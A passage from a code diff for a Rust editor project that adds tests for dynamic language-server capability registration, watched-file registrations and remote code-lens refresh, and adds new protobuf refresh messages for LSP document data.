+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(
+        path!("/root"),
+        json!({
+            "src": {
+                "a.rs": "",
+                "b.rs": "",
+            },
+            "docs": {
+                "readme.md": "",
+            },
+        }),
+    )
+    .await;
+
+    let project = Project::test(fs.clone(), [path!("/root").as_ref()], cx).await;
+    let language_registry = project.read_with(cx, |project, _| project.languages().clone());
+    language_registry.add(rust_lang());
+    let mut fake_servers = language_registry.register_fake_lsp(
+        "Rust",
+        FakeLspAdapter {
+            name: "the-language-server",
+            ..FakeLspAdapter::default()
+        },
+    );
+
+    cx.executor().run_until_parked();
+
+    project
+        .update(cx, |project, cx| {
+            project.open_local_buffer_with_lsp(path!("/root/src/a.rs"), cx)
+        })
+        .await
+        .unwrap();
+
+    let fake_server = fake_servers.next().await.unwrap();
+    cx.executor().run_until_parked();
+
+    let file_changes = Arc::new(Mutex::new(Vec::new()));
+
+    // Register two separate watched file registrations.
+    register_capability(
+        &fake_server,
+        "workspace/didChangeWatchedFiles",
+        "reg-1",
+        serde_json::to_value(lsp::DidChangeWatchedFilesRegistrationOptions {
+            watchers: vec![lsp::FileSystemWatcher {
+                glob_pattern: lsp::GlobPattern::String(path!("/root/src/*.rs").to_string()),
+                kind: None,
+            }],
+        })
+        .ok(),
+    )
+    .await;
+
+    register_capability(
+        &fake_server,
+        "workspace/didChangeWatchedFiles",
+        "reg-2",
+        serde_json::to_value(lsp::DidChangeWatchedFilesRegistrationOptions {
+            watchers: vec![lsp::FileSystemWatcher {
+                glob_pattern: lsp::GlobPattern::String(path!("/root/docs/*.md").to_string()),
+                kind: None,
+            }],
+        })
+        .ok(),
+    )
+    .await;
+
+    fake_server.handle_notification::<lsp::notification::DidChangeWatchedFiles, _>({
+        let file_changes = file_changes.clone();
+        move |params, _| {
+            let mut file_changes = file_changes.lock();
+            file_changes.extend(params.changes);
+            file_changes.sort_by(|a, b| a.uri.cmp(&b.uri));
+        }
+    });
+
+    cx.executor().run_until_parked();
+
+    // Both registrations should match their respective patterns.
+    fs.create_file(
+        path!("/root/src/c.rs").as_ref(),
+        fs::CreateOptions::default(),
+    )
+    .await
+    .unwrap();
+    fs.create_file(
+        path!("/root/docs/guide.md").as_ref(),
+        fs::CreateOptions::default(),
+    )
+    .await
+    .unwrap();
+    cx.executor().run_until_parked();
+
+    assert_eq!(
+        &*file_changes.lock(),
+        &[
+            lsp::FileEvent {
+                uri: lsp::Uri::from_file_path(path!("/root/docs/guide.md")).unwrap(),
+                typ: lsp::FileChangeType::CREATED,
+            },
+            lsp::FileEvent {
+                uri: lsp::Uri::from_file_path(path!("/root/src/c.rs")).unwrap(),
+                typ: lsp::FileChangeType::CREATED,
+            },
+        ]
+    );
+    file_changes.lock().clear();
+
+    // Unregister the first registration.
+    unregister_capabilities(&fake_server, "workspace/didChangeWatchedFiles", &["reg-1"]).await;
+    cx.executor().run_until_parked();
+
+    // Only the second registration should still match.
+    fs.create_file(
+        path!("/root/src/d.rs").as_ref(),
+        fs::CreateOptions::default(),
+    )
+    .await
+    .unwrap();
+    fs.create_file(
+        path!("/root/docs/notes.md").as_ref(),
+        fs::CreateOptions::default(),
+    )
+    .await
+    .unwrap();
+    cx.executor().run_until_parked();
+
+    assert_eq!(
+        &*file_changes.lock(),
+        &[lsp::FileEvent {
+            uri: lsp::Uri::from_file_path(path!("/root/docs/notes.md")).unwrap(),
+            typ: lsp::FileChangeType::CREATED,
+        }]
+    );
+}
+
+async fn setup_dynamic_registration_test(
+    cx: &mut gpui::TestAppContext,
+    capabilities: lsp::ServerCapabilities,
+) -> (Entity<Project>, lsp::FakeLanguageServer) {
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(path!("/the-root"), json!({ "a.rs": "" }))
+        .await;
+
+    let project = Project::test(fs, [path!("/the-root").as_ref()], cx).await;
+    let language_registry = project.read_with(cx, |project, _| project.languages().clone());
+    language_registry.add(rust_lang());
+    let mut fake_servers = language_registry.register_fake_lsp(
+        "Rust",
+        FakeLspAdapter {
+            name: "the-language-server",
+            capabilities,
+            ..FakeLspAdapter::default()
+        },
+    );
+
+    cx.executor().run_until_parked();
+
+    project
+        .update(cx, |project, cx| {
+            project.open_local_buffer_with_lsp(path!("/the-root/a.rs"), cx)
+        })
+        .await
+        .unwrap();
+
+    let fake_server = fake_servers.next().await.unwrap();
+    cx.executor().run_until_parked();
+    (project, fake_server)
+}
+
+async fn register_capability(
+    fake_server: &lsp::FakeLanguageServer,
+    method: &str,
+    id: &str,
+    register_options: Option<serde_json::Value>,
+) {
+    fake_server
+        .request::<lsp::request::RegisterCapability>(
+            lsp::RegistrationParams {
+                registrations: vec![lsp::Registration {
+                    id: id.to_string(),
+                    method: method.to_string(),
+                    register_options,
+                }],
+            },
+            DEFAULT_LSP_REQUEST_TIMEOUT,
+        )
+        .await
+        .into_response()
+        .unwrap();
+}
+
+async fn unregister_capabilities(
+    fake_server: &lsp::FakeLanguageServer,
+    method: &str,
+    ids: &[&str],
+) {
+    fake_server
+        .request::<lsp::request::UnregisterCapability>(
+            lsp::UnregistrationParams {
+                unregisterations: ids
+                    .iter()
+                    .map(|id| lsp::Unregistration {
+                        id: id.to_string(),
+                        method: method.to_string(),
+                    })
+                    .collect(),
+            },
+            DEFAULT_LSP_REQUEST_TIMEOUT,
+        )
+        .await
+        .into_response()
+        .unwrap();
+}
+
+fn server_capabilities(
+    project: &Entity<Project>,
+    server_id: LanguageServerId,
+    cx: &mut gpui::TestAppContext,
+) -> lsp::ServerCapabilities {
+    project.read_with(cx, |project, cx| {
+        project
+            .lsp_store()
+            .read(cx)
+            .language_server_for_id(server_id)
+            .unwrap()
+            .capabilities()
+    })
+}
+
+#[derive(Default)]
+struct LspRequestCounters {
+    colors: Arc<atomic::AtomicUsize>,
+    links: Arc<atomic::AtomicUsize>,
+    folding_ranges: Arc<atomic::AtomicUsize>,
+    document_symbols: Arc<atomic::AtomicUsize>,
+    code_lens: Arc<atomic::AtomicUsize>,
+    semantic_tokens: Arc<atomic::AtomicUsize>,
+}
+
+#[derive(Debug, Default, PartialEq)]
+struct LspRequestCounts {
+    colors: usize,
+    links: usize,
+    folding_ranges: usize,
+    document_symbols: usize,
+    code_lens: usize,
+    semantic_tokens: usize,
+}
+
+impl LspRequestCounters {
+    fn snapshot(&self) -> LspRequestCounts {
+        LspRequestCounts {
+            colors: self.colors.load(atomic::Ordering::Acquire),
+            links: self.links.load(atomic::Ordering::Acquire),
+            folding_ranges: self.folding_ranges.load(atomic::Ordering::Acquire),
+            document_symbols: self.document_symbols.load(atomic::Ordering::Acquire),
+            code_lens: self.code_lens.load(atomic::Ordering::Acquire),
+            semantic_tokens: self.semantic_tokens.load(atomic::Ordering::Acquire),
+        }
+    }
+}
+
+fn count_lsp_requests(fake_server: &lsp::FakeLanguageServer) -> LspRequestCounters {
+    let counters = LspRequestCounters::default();
+    fake_server.set_request_handler::<lsp::request::DocumentColor, _, _>({
+        let count = counters.colors.clone();
+        move |_, _| {
+            count.fetch_add(1, atomic::Ordering::Release);
+            async move { Ok(Vec::new()) }
+        }
+    });
+    fake_server.set_request_handler::<lsp::request::DocumentLinkRequest, _, _>({
+        let count = counters.links.clone();
+        move |_, _| {
+            count.fetch_add(1, atomic::Ordering::Release);
+            async move { Ok(None) }
+        }
+    });
+    fake_server.set_request_handler::<lsp::request::FoldingRangeRequest, _, _>({
+        let count = counters.folding_ranges.clone();
+        move |_, _| {
+            count.fetch_add(1, atomic::Ordering::Release);
+            async move { Ok(None) }
+        }
+    });
+    fake_server.set_request_handler::<lsp::request::DocumentSymbolRequest, _, _>({
+        let count = counters.document_symbols.clone();
+        move |_, _| {
+            count.fetch_add(1, atomic::Ordering::Release);
+            async move { Ok(None) }
+        }
+    });
+    fake_server.set_request_handler::<lsp::request::CodeLensRequest, _, _>({
+        let count = counters.code_lens.clone();
+        move |_, _| {
+            count.fetch_add(1, atomic::Ordering::Release);
+            async move { Ok(None) }
+        }
+    });
+    fake_server.set_request_handler::<lsp::request::SemanticTokensFullRequest, _, _>({
+        let count = counters.semantic_tokens.clone();
+        move |_, _| {
+            count.fetch_add(1, atomic::Ordering::Release);
+            async move {
+                Ok(Some(lsp::SemanticTokensResult::Tokens(
+                    lsp::SemanticTokens::default(),
+                )))
+            }
+        }
+    });
+    counters
+}
+
+fn observe_refresh_events(
+    project: &Entity<Project>,
+    cx: &mut gpui::TestAppContext,
+) -> (Arc<Mutex<Vec<String>>>, gpui::Subscription) {
+    let events = Arc::new(Mutex::new(Vec::new()));
+    let subscription = cx.update({
+        let events = events.clone();
+        let project = project.clone();
+        move |cx| {
+            cx.subscribe(&project, move |_, event, _| {
+                let label = |name: &str, server_id: &Option<LanguageServerId>| {
+                    let server_id = server_id
+                        .map_or_else(|| "all".to_string(), |server_id| server_id.to_string());
+                    format!("{name}({server_id})")
+                };
+                let event = match event {
+                    Event::RefreshInlayHints { server_id, .. } => {
+                        format!("inlay_hints({server_id})")
+                    }
+                    Event::RefreshSemanticTokens { server_id, .. } => {
+                        format!("semantic_tokens({server_id})")
+                    }
+                    Event::RefreshCodeLens { server_id } => label("code_lens", server_id),
+                    Event::RefreshDocumentColors { server_id } => {
+                        label("document_colors", server_id)
+                    }
+                    Event::RefreshDocumentLinks { server_id } => label("document_links", server_id),
+                    Event::RefreshFoldingRanges { server_id } => label("folding_ranges", server_id),
+                    Event::RefreshDocumentSymbols { server_id } => {
+                        label("document_symbols", server_id)
+                    }
+                    _ => return,
+                };
+                events.lock().push(event);
+            })
+        }
+    });
+    (events, subscription)
+}
+
+async fn fetch_lsp_data(
+    project: &Entity<Project>,
+    buffer: &Entity<Buffer>,
+    cx: &mut gpui::TestAppContext,
+) {
+    let lsp_store = project.read_with(cx, |project, _| project.lsp_store());
+    let colors = lsp_store.update(cx, |lsp_store, cx| {
+        lsp_store.document_colors(buffer.clone(), cx)
+    });
+    let links = lsp_store.update(cx, |lsp_store, cx| {
+        lsp_store.fetch_document_links(buffer, cx)
+    });
+    let folding_ranges = lsp_store.update(cx, |lsp_store, cx| {
+        lsp_store.fetch_folding_ranges(buffer, cx)
+    });
+    let document_symbols = lsp_store.update(cx, |lsp_store, cx| {
+        lsp_store.fetch_document_symbols(buffer, cx)
+    });
+    let code_lens = lsp_store.update(cx, |lsp_store, cx| lsp_store.code_lens_actions(buffer, cx));
+    let semantic_tokens = lsp_store.update(cx, |lsp_store, cx| {
+        lsp_store.semantic_tokens(buffer.clone(), cx)
+    });
+    if let Some(colors) = colors {
+        colors.await.unwrap();
+    }
+    links.await;
+    folding_ranges.await;
+    document_symbols.await;
+    code_lens.await.unwrap();
+    semantic_tokens.await.unwrap();
+}
+
+fn sorted(events: impl IntoIterator<Item = String>) -> Vec<String> {
+    let mut events = events.into_iter().collect::<Vec<_>>();
+    events.sort();
+    events
+}
diff --git a/crates/project/tests/integration/project_tests.rs b/crates/project/tests/integration/project_tests.rs
index f6f8ac8eab8420..13051448ca361f 100644
--- a/crates/project/tests/integration/project_tests.rs
+++ b/crates/project/tests/integration/project_tests.rs
@@ -5,6 +5,7 @@ mod bookmark_store;
 mod color_extractor;
 mod context_server_store;
 mod debugger;
+mod dynamic_registration;
 mod git_store;
 mod image_store;
 mod lsp_command;
@@ -2289,131 +2290,6 @@ async fn test_rescan_fs_change_is_reported_to_language_servers_as_changed(
     );
 }
 
-#[gpui::test]
-async fn test_dynamic_semantic_tokens_registration(cx: &mut gpui::TestAppContext) {
-    init_test(cx);
-
-    let fs = FakeFs::new(cx.executor());
-    fs.insert_tree(
-        path!("/the-root"),
-        json!({
-            "a.rs": "fn main() {}",
-        }),
-    )
-    .await;
-
-    let project = Project::test(fs.clone(), [path!("/the-root").as_ref()], cx).await;
-    let language_registry = project.read_with(cx, |project, _| project.languages().clone());
-    language_registry.add(rust_lang());
-    let mut fake_servers = language_registry.register_fake_lsp(
-        "Rust",
-        FakeLspAdapter {
-            name: "the-language-server",
-            // Crucially, no `semantic_tokens_provider` is advertised statically; the
-            // server only offers it through dynamic registration (as Roslyn does).
-            ..Default::default()
-        },
-    );
-
-    let _buffer = project
-        .update(cx, |project, cx| {
-            project.open_local_buffer_with_lsp(path!("/the-root/a.rs"), cx)
-        })
-        .await
-        .unwrap();
-
-    let fake_server = fake_servers.next().await.unwrap();
-    let server_id = fake_server.server.server_id();
-    cx.executor().run_until_parked();
-
-    let semantic_tokens_provider = |cx: &mut gpui::TestAppContext| {
-        project.read_with(cx, |project, cx| {
-            project
-                .lsp_store()
-                .read(cx)
-                .lsp_server_capabilities
-                .get(&server_id)
-                .and_then(|capabilities| capabilities.semantic_tokens_provider.clone())
-        })
-    };
-
-    assert!(
-        semantic_tokens_provider(cx).is_none(),
-        "server should not advertise semantic tokens before dynamic registration"
-    );
-
-    fake_server
-        .request::<lsp::request::RegisterCapability>(
-            lsp::RegistrationParams {
-                registrations: vec![lsp::Registration {
-                    id: "semantic-tokens".to_string(),
-                    method: "textDocument/semanticTokens".to_string(),
-                    register_options: serde_json::to_value(
-                        lsp::SemanticTokensRegistrationOptions {
-                            text_document_registration_options:
-                                lsp::TextDocumentRegistrationOptions {
-                                    document_selector: None,
-                                },
-                            semantic_tokens_options: lsp::SemanticTokensOptions {
-                                legend: lsp::SemanticTokensLegend {
-                                    token_types: vec!["keyword".into(), "variable".into()],
-                                    token_modifiers: vec![],
-                                },
-                                full: Some(lsp::SemanticTokensFullOptions::Bool(true)),
-                                ..Default::default()
-                            },
-                            static_registration_options: lsp::StaticRegistrationOptions {
-                                id: None,
-                            },
-                        },
-                    )
-                    .ok(),
-                }],
-            },
-            DEFAULT_LSP_REQUEST_TIMEOUT,
-        )
-        .await
-        .into_response()
-        .unwrap();
-    cx.executor().run_until_parked();
-
-    let provider = semantic_tokens_provider(cx)
-        .expect("semantic tokens provider should be set after dynamic registration");
-    // The capability round-trips through capability-sync serialization, which may
-    // normalize the registration options into plain options; either shape is fine
-    // as long as the legend survives.
-    let legend = match provider {
-        lsp::SemanticTokensServerCapabilities::SemanticTokensOptions(options) => options.legend,
-        lsp::SemanticTokensServerCapabilities::SemanticTokensRegistrationOptions(options) => {
-            options.semantic_tokens_options.legend
-        }
-    };
-    assert_eq!(
-        legend.token_types,
-        vec!["keyword".into(), "variable".into()],
-    );
-
-    fake_server
-        .request::<lsp::request::UnregisterCapability>(
-            lsp::UnregistrationParams {
-                unregisterations: vec![lsp::Unregistration {
-                    id: "semantic-tokens".to_string(),
-                    method: "textDocument/semanticTokens".to_string(),
-                }],
-            },
-            DEFAULT_LSP_REQUEST_TIMEOUT,
-        )
-        .await
-        .into_response()
-        .unwrap();
-    cx.executor().run_until_parked();
-
-    assert!(
-        semantic_tokens_provider(cx).is_none(),
-        "semantic tokens provider should be cleared after unregistration"
-    );
-}
-
 #[gpui::test]
 async fn test_reporting_fs_changes_to_language_servers(cx: &mut gpui::TestAppContext) {
     init_test(cx);
@@ -2721,170 +2597,6 @@ async fn test_reporting_fs_changes_to_language_servers(cx: &mut gpui::TestAppCon
     );
 }
 
-#[gpui::test]
-async fn test_multiple_did_change_watched_files_registrations(cx: &mut gpui::TestAppContext) {
-    init_test(cx);
-
-    let fs = FakeFs::new(cx.executor());
-    fs.insert_tree(
-        path!("/root"),
-        json!({
-            "src": {
-                "a.rs": "",
-                "b.rs": "",
-            },
-            "docs": {
-                "readme.md": "",
-            },
-        }),
-    )
-    .await;
-
-    let project = Project::test(fs.clone(), [path!("/root").as_ref()], cx).await;
-    let language_registry = project.read_with(cx, |project, _| project.languages().clone());
-    language_registry.add(rust_lang());
-    let mut fake_servers = language_registry.register_fake_lsp(
-        "Rust",
-        FakeLspAdapter {
-            name: "the-language-server",
-            ..Default::default()
-        },
-    );
-
-    cx.executor().run_until_parked();
-
-    project
-        .update(cx, |project, cx| {
-            project.open_local_buffer_with_lsp(path!("/root/src/a.rs"), cx)
-        })
-        .await
-        .unwrap();
-
-    let fake_server = fake_servers.next().await.unwrap();
-    cx.executor().run_until_parked();
-
-    let file_changes = Arc::new(Mutex::new(Vec::new()));
-
-    // Register two separate watched file registrations.
-    fake_server
-        .request::<lsp::request::RegisterCapability>(
-            lsp::RegistrationParams {
-                registrations: vec![lsp::Registration {
-                    id: "reg-1".to_string(),
-                    method: "workspace/didChangeWatchedFiles".to_string(),
-                    register_options: serde_json::to_value(
-                        lsp::DidChangeWatchedFilesRegistrationOptions {
-                            watchers: vec![lsp::FileSystemWatcher {
-                                glob_pattern: lsp::GlobPattern::String(
-                                    path!("/root/src/*.rs").to_string(),
-                                ),
-                                kind: None,
-                            }],
-                        },
-                    )
-                    .ok(),
-                }],
-            },
-            DEFAULT_LSP_REQUEST_TIMEOUT,
-        )
-        .await
-        .into_response()
-        .unwrap();
-
-    fake_server
-        .request::<lsp::request::RegisterCapability>(
-            lsp::RegistrationParams {
-                registrations: vec![lsp::Registration {
-                    id: "reg-2".to_string(),
-                    method: "workspace/didChangeWatchedFiles".to_string(),
-                    register_options: serde_json::to_value(
-                        lsp::DidChangeWatchedFilesRegistrationOptions {
-                            watchers: vec![lsp::FileSystemWatcher {
-                                glob_pattern: lsp::GlobPattern::String(
-                                    path!("/root/docs/*.md").to_string(),
-                                ),
-                                kind: None,
-                            }],
-                        },
-                    )
-                    .ok(),
-                }],
-            },
-            DEFAULT_LSP_REQUEST_TIMEOUT,
-        )
-        .await
-        .into_response()
-        .unwrap();
-
-    fake_server.handle_notification::<lsp::notification::DidChangeWatchedFiles, _>({
-        let file_changes = file_changes.clone();
-        move |params, _| {
-            let mut file_changes = file_changes.lock();
-            file_changes.extend(params.changes);
-            file_changes.sort_by(|a, b| a.uri.cmp(&b.uri));
-        }
-    });
-
-    cx.executor().run_until_parked();
-
-    // Both registrations should match their respective patterns.
-    fs.create_file(path!("/root/src/c.rs").as_ref(), Default::default())
-        .await
-        .unwrap();
-    fs.create_file(path!("/root/docs/guide.md").as_ref(), Default::default())
-        .await
-        .unwrap();
-    cx.executor().run_until_parked();
-
-    assert_eq!(
-        &*file_changes.lock(),
-        &[
-            lsp::FileEvent {
-                uri: lsp::Uri::from_file_path(path!("/root/docs/guide.md")).unwrap(),
-                typ: lsp::FileChangeType::CREATED,
-            },
-            lsp::FileEvent {
-                uri: lsp::Uri::from_file_path(path!("/root/src/c.rs")).unwrap(),
-                typ: lsp::FileChangeType::CREATED,
-            },
-        ]
-    );
-    file_changes.lock().clear();
-
-    // Unregister the first registration.
-    fake_server
-        .request::<lsp::request::UnregisterCapability>(
-            lsp::UnregistrationParams {
-                unregisterations: vec![lsp::Unregistration {
-                    id: "reg-1".to_string(),
-                    method: "workspace/didChangeWatchedFiles".to_string(),
-                }],
-            },
-            DEFAULT_LSP_REQUEST_TIMEOUT,
-        )
-        .await
-        .into_response()
-        .unwrap();
-    cx.executor().run_until_parked();
-
-    // Only the second registration should still match.
-    fs.create_file(path!("/root/src/d.rs").as_ref(), Default::default())
-        .await
-        .unwrap();
-    fs.create_file(path!("/root/docs/notes.md").as_ref(), Default::default())
-        .await
-        .unwrap();
-    cx.executor().run_until_parked();
-
-    assert_eq!(
-        &*file_changes.lock(),
-        &[lsp::FileEvent {
-            uri: lsp::Uri::from_file_path(path!("/root/docs/notes.md")).unwrap(),
-            typ: lsp::FileChangeType::CREATED,
-        }]
-    );
-}
-
 #[gpui::test]
 async fn test_single_file_worktrees_diagnostics(cx: &mut gpui::TestAppContext) {
     init_test(cx);
diff --git a/crates/proto/proto/lsp.proto b/crates/proto/proto/lsp.proto
index 2e87e1ec12cdaf..4016656e0aa0ac 100644
--- a/crates/proto/proto/lsp.proto
+++ b/crates/proto/proto/lsp.proto
@@ -584,6 +584,27 @@ message GetCodeLensResponse {
 
 message RefreshCodeLens {
   uint64 project_id = 1;
+  optional uint64 server_id = 2;
+}
+
+message RefreshDocumentColors {
+  uint64 project_id = 1;
+  optional uint64 server_id = 2;
+}
+
+message RefreshDocumentLinks {
+  uint64 project_id = 1;
+  optional uint64 server_id = 2;
+}
+
+message RefreshFoldingRanges {
+  uint64 project_id = 1;
+  optional uint64 server_id = 2;
+}
+
+message RefreshDocumentSymbols {
+  uint64 project_id = 1;
+  optional uint64 server_id = 2;
 }
 
 message MarkupContent {
diff --git a/crates/proto/proto/zed.proto b/crates/proto/proto/zed.proto
index e4011bcf97fe9f..47895a18d29eff 100644
--- a/crates/proto/proto/zed.proto
+++ b/crates/proto/proto/zed.proto
@@ -501,7 +501,11 @@ message Envelope {
     GitAddPathToGitignore git_add_path_to_gitignore = 470;
     GitAddPathToGitInfoExclude git_add_path_to_git_info_exclude = 471;
     LoadCommitTemplate load_commit_template = 472;
-    LoadCommitTemplateResponse load_commit_template_response = 473; // current max
+    LoadCommitTemplateResponse load_commit_template_response = 473;
+    RefreshDocumentColors refresh_document_colors = 474;
+    RefreshDocumentLinks refresh_document_links = 475;
+    RefreshFoldingRanges refresh_folding_ranges = 476;
+    RefreshDocumentSymbols refresh_document_symbols = 477; // current max
   }
 
   reserved 87 to 88;
diff --git a/crates/proto/src/proto.rs b/crates/proto/src/proto.rs
index 47dbb972e4bf79..37aaa42504a5c9 100644
--- a/crates/proto/src/proto.rs
+++ b/crates/proto/src/proto.rs
@@ -206,6 +206,10 @@ messages!(
     (ProjectEntryResponse, Foreground),
     (RefreshInlayHints, Background),
     (RefreshSemanticTokens, Background),
+    (RefreshDocumentColors, Background),
+    (RefreshDocumentLinks, Background),
+    (RefreshFoldingRanges, Background),
+    (RefreshDocumentSymbols, Background),
     (RegisterBufferWithLanguageServers, Background),
     (RejoinChannelBuffers, Foreground),
     (RejoinChannelBuffersResponse, Foreground),
@@ -480,6 +484,10 @@ request_messages!(
     (RefreshInlayHints, Ack),
     (RefreshSemanticTokens, Ack),
     (RefreshCodeLens, Ack),
+    (RefreshDocumentColors, Ack),
+    (RefreshDocumentLinks, Ack),
+    (RefreshFoldingRanges, Ack),
+    (RefreshDocumentSymbols, Ack),
     (RejoinChannelBuffers, RejoinChannelBuffersResponse),
     (RejoinRoom, RejoinRoomResponse),
     (ReloadBuffers, ReloadBuffersResponse),
@@ -724,6 +732,10 @@ entity_messages!(
     RefreshInlayHints,
     RefreshSemanticTokens,
     RefreshCodeLens,
+    RefreshDocumentColors,
+    RefreshDocumentLinks,
+    RefreshFoldingRanges,
+    RefreshDocumentSymbols,
     ReloadBuffers,
     RemoveProjectCollaborator,
     RenameProjectEntry,
diff --git a/crates/remote_server/src/remote_editing_tests.rs b/crates/remote_server/src/remote_editing_tests.rs
index 0d53e3d9b470d8..8d07bfeb49a112 100644
--- a/crates/remote_server/src/remote_editing_tests.rs
+++ b/crates/remote_server/src/remote_editing_tests.rs
@@ -49,7 +49,10 @@ use std::{
     path::{Path, PathBuf},
     rc::Rc,
     str::FromStr,
-    sync::Arc,
+    sync::{
+        Arc,
+        atomic::{AtomicUsize, Ordering},
+    },
 };
 use unindent::Unindent as _;
 use util::{path, path_list::PathList, paths::PathMatcher, rel_path::rel_path};
@@ -1191,6 +1194,462 @@ async fn test_remote_code_lens_fetch_after_lsp_starts(
     );
 }
 
+#[gpui::test]
+async fn test_remote_code_lens_refetch_after_refresh(
+    cx: &mut TestAppContext,
+    server_cx: &mut TestAppContext,
+) {
+    let fs = FakeFs::new(server_cx.executor());
+    fs.insert_tree(
+        path!("/code"),
+        json!({
+            "project1": {
+                ".git": {},
+                "src": {
+                    "lib.rs": "fn one() -> usize { 1 }"
+                }
+            },
+        }),
+    )
+    .await;
+
+    let (project, headless) = init_test(&fs, cx, server_cx).await;
+
+    let capabilities = lsp::ServerCapabilities {
+        code_lens_provider: Some(lsp::CodeLensOptions {
+            resolve_provider: None,
+        }),
+        ..lsp::ServerCapabilities::default()
+    };
+
+    cx.update_entity(&project, |project, _| {
+        project.languages().register_test_language(LanguageConfig {
+            name: "Rust".into(),
+            matcher: LanguageMatcher {
+                path_suffixes: vec!["rs".into()],
+                ..LanguageMatcher::default()
+            },
+            ..LanguageConfig::default()
+        });
+        project.languages().register_fake_lsp_adapter(
+            "Rust",
+            FakeLspAdapter {
+                name: "rust-analyzer",
+                capabilities: capabilities.clone(),
+                ..FakeLspAdapter::default()
+            },
+        );
+    });
+
+    let lens_generation = Arc::new(AtomicUsize::new(0));
+    let mut fake_lsp_servers = server_cx.update(|cx| {
+        headless.read(cx).languages.register_fake_lsp_server(
+            LanguageServerName("rust-analyzer".into()),
+            capabilities,
+            Some(Box::new({
+                let lens_generation = lens_generation.clone();
+                move |fake_lsp| {
+                    let lens_generation = lens_generation.clone();
+                    fake_lsp.set_request_handler::<lsp::request::CodeLensRequest, _, _>(
+                        move |_, _| {
+                            let generation = lens_generation.load(Ordering::Acquire);
+                            async move {
+                                Ok(Some(vec![lsp::CodeLens {
+                                    range: lsp::Range::new(
+                                        lsp::Position::new(0, 0),
+                                        lsp::Position::new(0, 9),
+                                    ),
+                                    command: Some(lsp::Command {
+                                        title: format!("{generation} references"),
+                                        command: "lens_cmd".to_string(),
+                                        arguments: None,
+                                    }),
+                                    data: None,
+                                }]))
+                            }
+                        },
+                    );
+                }
+            })),
+        )
+    });
+
+    cx.run_until_parked();
+
+    let worktree_id = project
+        .update(cx, |project, cx| {
+            project.languages().add(rust_lang());
+            project.find_or_create_worktree(path!("/code/project1"), true, cx)
+        })
+        .await
+        .unwrap()
+        .0
+        .read_with(cx, |worktree, _| worktree.id());
+    cx.run_until_parked();
+
+    let (buffer, _handle) = project
+        .update(cx, |project, cx| {
+            project.open_buffer_with_lsp((worktree_id, rel_path("src/lib.rs")), cx)
+        })
+        .await
+        .unwrap();
+    let fake_lsp = fake_lsp_servers.next().await.unwrap();
+    cx.run_until_parked();
+
+    let lsp_store = project.read_with(cx, |project, _| project.lsp_store());
+    let actions = lsp_store
+        .update(cx, |lsp_store, cx| lsp_store.code_lens_actions(&buffer, cx))
+        .await
+        .unwrap()
+        .expect("Should have code lens actions after the initial fetch");
+    assert_eq!(
+        actions
+            .values()
+            .map(|action| action.lsp_action.title().to_owned())
+            .collect::<Vec<_>>(),
+        vec!["0 references".to_string()],
+        "Expected the initial code lens data on the client",
+    );
+
+    lens_generation.store(1, Ordering::Release);
+    fake_lsp
+        .request::<lsp::request::CodeLensRefresh>((), DEFAULT_LSP_REQUEST_TIMEOUT)
+        .await
+        .into_response()
+        .unwrap();
+    cx.run_until_parked();
+
+    let actions = lsp_store
+        .update(cx, |lsp_store, cx| lsp_store.code_lens_actions(&buffer, cx))
+        .await
+        .unwrap()
+        .expect("Should have code lens actions after the refresh");
+    assert_eq!(
+        actions
+            .values()
+            .map(|action| action.lsp_action.title().to_owned())
+            .collect::<Vec<_>>(),
+        vec!["1 references".to_string()],
+        "Expected the client to re-fetch code lens data after the server-initiated refresh, without any buffer edits",
+    );
+}
+
+#[gpui::test]
+async fn test_remote_lsp_data_cache_converges_with_multiple_servers(
+    cx: &mut TestAppContext,
+    server_cx: &mut TestAppContext,
+) {
+    let fs = FakeFs::new(server_cx.executor());
+    fs.insert_tree(
+        path!("/code"),
+        json!({
+            "project1": {
+                ".git": {},
+                "src": {
+                    "lib.rs": "fn one() -> usize { 1 }"
+                }
+            },
+            "project2": {
+                ".git": {},
+                "src": {
+                    "lib.rs": "fn two() -> usize { 2 }"
+                }
+            },
+        }),
+    )
+    .await;
+
+    let (project, headless) = init_test(&fs, cx, server_cx).await;
+
+    let capabilities = lsp::ServerCapabilities {
+        code_lens_provider: Some(lsp::CodeLensOptions {
+            resolve_provider: None,
+        }),
+        ..lsp::ServerCapabilities::default()
+    };
+
+    cx.update_entity(&project, |project, _| {
+        project.languages().register_test_language(LanguageConfig {
+            name: "Rust".into(),
+            matcher: LanguageMatcher {
+                path_suffixes: vec!["rs".into()],
+                ..LanguageMatcher::default()
+            },
+            ..LanguageConfig::default()
+        });
+        project.languages().register_fake_lsp_adapter(
+            "Rust",
+            FakeLspAdapter {
+                name: "rust-analyzer",
+                capabilities: capabilities.clone(),
+                ..FakeLspAdapter::default()
+            },
+        );
+    });
+
+    let queried_uris = Arc::new(std::sync::Mutex::new(Vec::new()));
+    let mut fake_lsp_servers = server_cx.update(|cx| {
+        headless.read(cx).languages.register_fake_lsp_server(
+            LanguageServerName("rust-analyzer".into()),
+            capabilities,
+            Some(Box::new({
+                let queried_uris = queried_uris.clone();
+                move |fake_lsp| {
+                    let queried_uris = queried_uris.clone();
+                    fake_lsp.set_request_handler::<lsp::request::CodeLensRequest, _, _>(
+                        move |params, _| {
+                            queried_uris.lock().unwrap().push(params.text_document.uri);
+                            async move {
+                                Ok(Some(vec![lsp::CodeLens {
+                                    range: lsp::Range::new(
+                                        lsp::Position::new(0, 0),
+                                        lsp::Position::new(0, 9),
+                                    ),
+                                    command: Some(lsp::Command {
+                                        title: "the lens".to_string(),
+                                        command: "lens_cmd".to_string(),
+                                        arguments: None,
+                                    }),
+                                    data: None,
+                                }]))
+                            }
+                        },
+                    );
+                }
+            })),
+        )
+    });
+
+    cx.run_until_parked();
+
+    project.update(cx, |project, cx| {
+        project.languages().add(rust_lang());
+        cx.notify();
+    });
+    let mut buffers = Vec::new();
+    let mut fake_lsps = Vec::new();
+    for project_root in [path!("/code/project1"), path!("/code/project2")] {
+        let worktree_id = project
+            .update(cx, |project, cx| {
+                project.find_or_create_worktree(project_root, true, cx)
+            })
+            .await
+            .unwrap()
+            .0
+            .read_with(cx, |worktree, _| worktree.id());
+        cx.run_until_parked();
+        buffers.push(
+            project
+                .update(cx, |project, cx| {
+                    project.open_buffer_with_lsp((worktree_id, rel_path("src/lib.rs")), cx)
+                })
+                .await
+                .unwrap(),
+        );
+        fake_lsps.push(fake_lsp_servers.next().await.unwrap());
+        cx.run_until_parked();
+    }
+    let (buffer_1, _handle_1) = &buffers[0];
